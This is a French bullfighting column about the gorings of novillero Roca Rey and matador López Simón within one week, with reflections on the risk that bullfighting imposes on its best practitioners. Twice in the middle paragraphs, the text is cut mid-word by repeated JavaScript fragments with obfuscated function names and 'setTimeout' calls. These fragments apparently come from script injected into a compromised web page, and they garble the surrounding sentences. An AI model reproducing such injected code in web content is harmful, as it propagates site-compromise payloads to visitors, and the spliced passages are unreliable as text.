LE SANG POUR TRIBUT

La semaine dernière, dans l’intervalle de quatre jours, étaient blessés les deux toreros qui, dans leurs classements respectifs, ont marqué cette saison. Des noms, dans ce cas, des révélations, de plaisantes nouveautés, de beaux espoirs pour l’avenir. Un s’affiche comme Roca Rey et l’autre comme López Simón ; le premier est devenu le patron des novilleros, l’autre se hisse à coups de coude –avec des triomphes à chaque rendez vous- à la tête du cercle très fermé de l’escalafon supérieur.

Le lundi, dans la ville de la province de Tolède, Villaseca de la Sagra, un novillo âpre et avisé du fer de Flor de Jara, très mal lidié par la cuadrilla, blessa le novillero de Lima à la mise à mort. La bête n’aurait mérité autre chose que des passes de châtiment et une estocade efficace, mais Roca Rey est dans une telle confiance que cela ne lui a même pas traversé l’esprit. Il ne s’est même pas inquiété de s’élancer vers la corne droite du toro pour réussir l’estocade, même si le toro le toro l’avait déjà prévenu sur ce côté, obligeant le torero à construire sa vaillante faena sur la corne gauche. Ainsi, autre trait caractéristique de sa caste torera, il n’a pas hésité à prendre le risque à la fin de sa faena en lui endossant une méritoire série de passes droitières.

Trois jours plus tard, lors de la troisième corrida de la feria d’Albacete, en essayant de faire une passe inversée de dos, c’était le torero López Simón qui était blessé par son second toro d’Alcurrucén, après avoir été récompensé d’une oreille à son premier devant un public absolument acquis à lui comme je ne l’avais pas vu depuis très longtemps.

Les deux coups de corne furent qualifiés de graves, même si, quandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and ne surviennent pas des complications, on en guérit facilement ; cependant, en ce qui concerne Roca Rey, la fracture à la base de l’un des métacarpiens de la main gauche peut retarder son retour, semant le trouble quant à sa prochaine alternative à Nîmes ce 19 septembre. De la même manière, le coup de corne de López Simón menace de pouvoir confirmer la sienne un jour plus tard dans les mêmes arènes. Nous verrons comment tout se déroule.

Ce qui est évident c’est que ces deux coups de corne ont freiné la série triomphale des deux toreros ; ce qui arrive souvent –l’histoire est là pour le ratifier- quandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and les toreros foulent les terrains à risque et s’engagent chaque après-midi pour triompher. Car il n’est pas vrai que les toros attrapent le maladroit –même s’il y en a et ça leur arrive- ou le suicidaire –je n’en connais aucun dans la tauromachie-, mais plutôt ceux qui sont capables de franchir ce trait qui sépare l’authentique de ce qui ne l’est pas. Surtout ceux qui le font jour après jour, toro après toro. Ceux-là, tôt ou tard, suivant s’ils ont plus ou moins bonne fortune, payent le tribut du sang que le toreo exige aux meilleurs, qu’ils s’appellent José Tomás, Manolete, Antonio Ordoñez, El Cordobés, Paco Ojeda, Manili, José Luis Parada, José Antonio Campuzano, etc., ou aujourd’hui López Simón et Roca Rey. Dire le contraire c’est mentir, comme l’est aussi louer comme un mérite ne pas avoir de cornades. Il est vrai, dans une certaine mesure, que c’est souvent la chance qui rentre en jeu, mais il ne fait aucun doute que le toro a plus de mal à blesser le mensonge. Ne l’oublions jamais.

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